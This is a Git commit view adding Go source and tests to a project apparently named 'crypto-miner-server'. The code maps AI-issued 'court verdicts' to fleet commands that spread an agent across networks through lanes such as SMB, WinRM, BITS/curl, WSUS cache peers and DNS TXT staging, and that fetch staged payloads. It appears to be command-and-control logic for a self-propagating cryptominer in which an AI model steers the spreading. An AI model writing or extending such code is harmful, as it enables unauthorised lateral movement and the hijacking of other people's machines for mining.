Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
116
server/internal/ai/court_commands.go
Normal file
116
server/internal/ai/court_commands.go
Normal file
@@ -0,0 +1,116 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
)
|
||||
|
||||
const CourtRetryClearanceLevel = clearance.L4
|
||||
|
||||
// Staging spread lanes dispatch stage_fetch; others use discover_and_join.
|
||||
var stagingSpreadLanes = map[string]bool{
|
||||
"bits_curl": true, "bits": true, "curl": true,
|
||||
"do_peer": true, "wsus_cache_peer": true,
|
||||
"dns_txt": true, "webrtc_mesh": true, "stage_fetch": true,
|
||||
}
|
||||
|
||||
// ExpandCourtCommands maps court verdict types to executable fleet commands.
|
||||
func ExpandCourtCommands(cmds []Command) []Command {
|
||||
if len(cmds) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]Command, 0, len(cmds))
|
||||
for _, c := range cmds {
|
||||
switch c.Type {
|
||||
case CmdSpreadRetryLane:
|
||||
out = append(out, ResolveSpreadRetryLane(c.Args))
|
||||
case CmdSkipTier:
|
||||
out = append(out, ResolveSkipTier(c.Args))
|
||||
default:
|
||||
out = append(out, c)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ResolveSpreadRetryLane turns spread_retry_lane into discover_and_join or stage_fetch.
|
||||
func ResolveSpreadRetryLane(args map[string]interface{}) Command {
|
||||
if args == nil {
|
||||
args = map[string]interface{}{}
|
||||
}
|
||||
lane := strings.TrimSpace(fmt.Sprint(args["lane"]))
|
||||
if lane == "" {
|
||||
if v, ok := args["tier"].(string); ok {
|
||||
lane = strings.TrimSpace(v)
|
||||
}
|
||||
}
|
||||
norm := normalizeCommandType(lane)
|
||||
if stagingSpreadLanes[norm] {
|
||||
out := map[string]interface{}{}
|
||||
if data, ok := args["data"]; ok {
|
||||
out["data"] = data
|
||||
} else if manifest, ok := args["manifest"]; ok {
|
||||
out["data"] = manifest
|
||||
}
|
||||
return Command{Type: CmdStageFetch, Args: out}
|
||||
}
|
||||
out := map[string]interface{}{}
|
||||
if lane != "" {
|
||||
out["lane"] = lane
|
||||
}
|
||||
for _, k := range []string{"host", "subnet", "template"} {
|
||||
if v, ok := args[k]; ok {
|
||||
out[k] = v
|
||||
}
|
||||
}
|
||||
return Command{Type: CmdDiscoverAndJoin, Args: out}
|
||||
}
|
||||
|
||||
// ResolveSkipTier turns skip_tier into reorder_tiers with skip_tiers.
|
||||
func ResolveSkipTier(args map[string]interface{}) Command {
|
||||
if args == nil {
|
||||
args = map[string]interface{}{}
|
||||
}
|
||||
tier := strings.TrimSpace(fmt.Sprint(args["tier"]))
|
||||
skips := []interface{}{}
|
||||
if tier != "" && tier != "<nil>" {
|
||||
skips = append(skips, tier)
|
||||
}
|
||||
if raw, ok := args["skip_tiers"]; ok {
|
||||
switch v := raw.(type) {
|
||||
case []interface{}:
|
||||
skips = append(skips, v...)
|
||||
case []string:
|
||||
for _, s := range v {
|
||||
skips = append(skips, s)
|
||||
}
|
||||
case string:
|
||||
if strings.TrimSpace(v) != "" {
|
||||
skips = append(skips, strings.TrimSpace(v))
|
||||
}
|
||||
}
|
||||
}
|
||||
return Command{Type: CmdReorderTiers, Args: map[string]interface{}{"skip_tiers": skips}}
|
||||
}
|
||||
|
||||
// CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry.
|
||||
func CourtCommandNeedsRetryElevation(cmd Command) bool {
|
||||
switch cmd.Type {
|
||||
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// CourtCommandsNeedRetryElevation is true when any parsed command needs L4 elevation.
|
||||
func CourtCommandsNeedRetryElevation(cmds []Command) bool {
|
||||
for _, c := range cmds {
|
||||
if CourtCommandNeedsRetryElevation(c) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
73
server/internal/ai/court_commands_test.go
Normal file
73
server/internal/ai/court_commands_test.go
Normal file
@@ -0,0 +1,73 @@
|
||||
package ai
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestResolveSpreadRetryLaneStaging(t *testing.T) {
|
||||
cmd := ResolveSpreadRetryLane(map[string]interface{}{
|
||||
"lane": "dns_txt",
|
||||
"data": `{"method":"curl"}`,
|
||||
})
|
||||
if cmd.Type != CmdStageFetch {
|
||||
t.Fatalf("type=%s want stage_fetch", cmd.Type)
|
||||
}
|
||||
if cmd.Args["data"] == nil {
|
||||
t.Fatalf("args=%+v", cmd.Args)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveSpreadRetryLaneDeploy(t *testing.T) {
|
||||
cmd := ResolveSpreadRetryLane(map[string]interface{}{"lane": "winrm"})
|
||||
if cmd.Type != CmdDiscoverAndJoin {
|
||||
t.Fatalf("type=%s", cmd.Type)
|
||||
}
|
||||
if cmd.Args["lane"] != "winrm" {
|
||||
t.Fatalf("lane=%v", cmd.Args["lane"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveSkipTier(t *testing.T) {
|
||||
cmd := ResolveSkipTier(map[string]interface{}{"tier": "docker"})
|
||||
if cmd.Type != CmdReorderTiers {
|
||||
t.Fatalf("type=%s", cmd.Type)
|
||||
}
|
||||
skips, ok := cmd.Args["skip_tiers"].([]interface{})
|
||||
if !ok || len(skips) != 1 || skips[0] != "docker" {
|
||||
t.Fatalf("skip_tiers=%+v", cmd.Args["skip_tiers"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExpandCourtCommands(t *testing.T) {
|
||||
out := ExpandCourtCommands([]Command{
|
||||
{Type: CmdSpreadRetryLane, Args: map[string]interface{}{"lane": "smb"}},
|
||||
{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "wsl"}},
|
||||
{Type: CmdNoop, Args: map[string]interface{}{}},
|
||||
})
|
||||
if len(out) != 3 {
|
||||
t.Fatalf("len=%d", len(out))
|
||||
}
|
||||
if out[0].Type != CmdDiscoverAndJoin || out[1].Type != CmdReorderTiers {
|
||||
t.Fatalf("expanded=%+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseCommandsSpreadRetryLane(t *testing.T) {
|
||||
raw := `Verdict: retry dns_txt lane.
|
||||
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`
|
||||
cmds := ParseCommands(raw)
|
||||
if len(cmds) != 1 || cmds[0].Type != CmdSpreadRetryLane {
|
||||
t.Fatalf("cmds=%+v", cmds)
|
||||
}
|
||||
expanded := ExpandCourtCommands(cmds)
|
||||
if len(expanded) != 1 || expanded[0].Type != CmdStageFetch {
|
||||
t.Fatalf("expanded=%+v", expanded)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCourtCommandsNeedRetryElevation(t *testing.T) {
|
||||
if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadRetryLane}}) {
|
||||
t.Fatal("expected spread_retry_lane to need L4")
|
||||
}
|
||||
if CourtCommandsNeedRetryElevation([]Command{{Type: CmdRestartMining}}) {
|
||||
t.Fatal("restart_mining should not require court retry elevation set")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user